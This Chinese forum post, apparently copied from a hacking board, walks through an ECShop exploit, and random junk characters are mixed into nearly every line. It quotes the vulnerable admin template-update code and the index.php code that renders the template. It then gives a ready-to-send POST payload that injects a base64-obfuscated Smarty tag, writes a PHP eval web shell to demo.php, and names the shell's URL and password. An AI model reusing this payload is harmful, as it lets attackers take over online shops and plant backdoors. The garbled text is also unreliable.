首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
$ K, d4 C2 o4 k9 B
8 a! ^: V Z8 h! J' S而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
' v7 @: _* G* l( M+ ?! W* ?但是ecshop似乎不支持{php}{/php}这个标签来执行php代码2 c4 v# W5 j6 W: X9 h7 u8 m3 _
admin/template.php
' }/ \( n, P/ v* H* F9 H9 e' v8 N' t$ v( O
1 if ($_REQUEST['act'] == 'update_library') 8 `( [! Z4 G- X$ G. d
4 v ?2 Q5 k2 n( V4 p6 p
2
$ I i, l/ O2 g& y/ R) Z" N1 j i' }$ B" @" S9 C3 E+ f
3 { ' C" b0 R2 U# U- N; ~5 f
$ [* N4 e, g8 J4 check_authz_json('library_manage');
$ [6 ]. f& K* y/ m0 a
6 E) a1 o' c- v, g5 C* R5 " @/ g$ x, h; j& W
" k- Y% p) T1 ^8 V+ u& g! X. c6 $html = stripslashes(json_str_iconv($_POST['html'])); " d" E) X' ^$ _) ^- L) K
& B5 Q/ K/ C/ D1 Q9 c
7
( }" a( z. ?# e5 R9 G) g) F0 j( w: D/ ?( p7 A6 T# ?
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
* }4 \, W6 A5 u* k) ]
* X+ n1 @0 ~3 V" i' M; W; A# e5 W9
' ]2 B6 L. L1 X* t s+ ? A/ }2 a- q+ A! a
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
. O1 D/ n; {3 N0 b- Y$ V$ I3 |* K' m' Z, C2 E& P
11
$ D: h- T: x+ }# b+ |( ?: P- i4 ]2 I$ _; ]0 j0 w) o
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); # k0 R# T0 n* D3 p
$ F% k3 l) e" G& E. D. S13 - t+ Q) y+ ?9 S, z
5 @, ~* R0 S7 m3 A
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
/ E) s. d" T- x( f# H
3 I! X8 p. a$ B5 s1 F! n15 {
8 G2 X9 Y. H/ s, B/ B: o4 [
) S4 Q( I0 m; }, H! o16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
1 Q O; b3 q% e' z! \9 R' W4 h5 ?/ N. L8 N F9 B" Z1 s
17 make_json_result('', $_LANG['update_lib_success']); $ t8 m" H$ r6 l/ S4 l$ B& T7 r
! O; b) M; s/ k. C4 l18 } 2 [+ H- T' n# w V" v
1 M' {) p) A: c4 Q7 n0 e" c19 else
& H' u" ~& G3 Y
0 v$ r* e; |) U" L. R" @+ J20 {
3 E, }# E r, S& Q- A3 [$ @. m) N: p
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ! ]. e. n/ c2 O1 \3 t0 N$ V8 x: f
0 w( V3 S" o5 b2 d( V0 P4 E
22 }
- c& s' `$ B6 d9 F3 t& p
! u4 t5 ^1 R. l, Z, h23 } : a- e1 o" ^. _, P3 p* t6 f
. @' W$ c% G @4 U! S) X
那么找个比较方便调用了模板的文件
9 `# \3 t( ]: U) o2 Z7 Iindex.php7 r# m: m0 S/ U
" f7 Z ?* G( d' F1 c( p' {1 A
1 if ($act == 'cat_rec') * D/ L& y- F% o8 L
* w4 n( T" r! F2 ' J- a' }$ ^. L* i
B6 ]5 P: l8 H" e
3 {
, w- c; o- T; n) J9 ` Q( w7 J+ `8 q' j* E
4
; q! p1 W$ Q/ Q$ \ P( W% V8 \, p" X: N+ V" I% f3 m& Y
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 8 j0 D. a3 |, I9 i& r5 U1 U
9 ]! b0 X* w) G$ q( Q. W& K6 _6
. I. o% f2 n$ o7 y9 y1 k
1 B; _; w4 f5 A% I- Q8 ~5 Y7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; % b; Y. k' a$ D9 U2 N; D D
: y4 d& Q0 a0 S8
" a: R; j0 c; } Y) H) h1 D1 P; u7 P; `) H+ k0 t( ]9 W0 R9 O: `, V
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; # }, j9 t% P1 }/ `3 g7 z& ]: Z
) Y4 g9 A8 m) ]( y7 [2 w9 h2 W& `10
9 \" ~3 |) z5 B
( b# {. r% q0 ~! l3 {11 include_once('includes/cls_json.php');
3 o' {, Q- L+ Y$ r5 m& s! f
3 Q8 f; b+ u1 L5 q; M, @' i12
; G7 Q: C8 s3 h" r2 Z1 U. C8 g4 K; s; w5 N @' `
13 $json = new JSON; T9 @8 }3 o1 c
- N6 N0 x, w5 x14 + ]2 K! K$ t6 E: c
) \" d( s3 P8 W, t% ?* w! j/ f15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
; t8 D/ d! Q. h, i) T9 [% M" y' u- N- A5 T
16
' p6 |$ C! ?/ M+ r9 f
7 U( f4 @+ D# r0 E/ ?* _7 i17 $children = get_children($cat_id);
0 Z/ o, V% `) ?; ?# x1 c
& ~! g* C# r5 B6 [4 v6 t18
) d: j. p- b7 v. q* j5 O) X3 o: F% b
' e8 G6 U& m# Y( e19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
# C6 }% J; ~- R4 G$ E; G9 a ?# h: r! w% f' A( l9 f& j9 v1 l
20
- E' |& x* ?3 [9 n9 X" C1 I; L/ X5 B* A0 [- j) L
21 $smarty->assign('cat_rec_sign', 1);
# s9 X' n7 l8 j+ B) Y1 D
! @( D' I# T* f0 V b* u8 ?& N' I( ]& w22 3 Z0 N) c1 S% a
6 ^; E: P I% P# c0 `& _23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best , n. }: z+ I( t( a
$ A' z7 ]& d: S* f, I, R: A$ q
24
9 {5 T: }5 x) r. a( b1 t7 | X: D0 k5 a
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 4 `& b" Q. @; @& P4 ~- F. s
( ^' u# o# C$ d! K0 P4 M7 t
26
* j, y6 Z$ k e+ r* [ }/ r
# L+ q5 @* f8 r8 y2 L' Q6 _27 echo $rec_array[$rec_type];
5 R6 i' b& L) B5 k3 l( b7 b: a$ p5 l' V5 i, A) p' A8 m/ Q0 h
28 ' D; K+ n5 y: u
3 v0 V$ R9 X+ }! O
29 die($json->encode($result));
3 t, C' g/ z9 M& ?
2 ]0 }6 Q- J4 J% ]4 N# n30
3 h9 a+ n- @* D. _4 U$ ?$ `& P: H
31 } 3 W& X7 e" X9 ?& h
8 g0 e$ P2 d( U那么就有利用方法了8 e$ D2 m% ]& m0 X: d. y$ V# p
post包到http://localhost/ec/admin/template.php?act=update_library1 c+ c' V+ Q2 Z
Post内容:0 q: S3 A* Y0 ?1 n6 ^ C, E' ~
+ Y$ [; T) m# e# ` l
" t2 n2 |" C' L9 r/ h' \/ Z
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
# d# E5 C# h2 r0 l9 @" m7 |6 ~6 n2 g0 p! A# M7 z5 ^
然后访问http://localhost/ec/index.php?act=cat_rec
! S3 |5 B0 O* }5 [
/ ~6 N& J9 }- f. v1 _, s6 H, p+ x! xshel地址:http://localhost/ec/demo.php! ], ~4 m: `% ]
密码c
# j! J, `) I+ b+ Y. p* {' `% [9 \3 o: I( E
|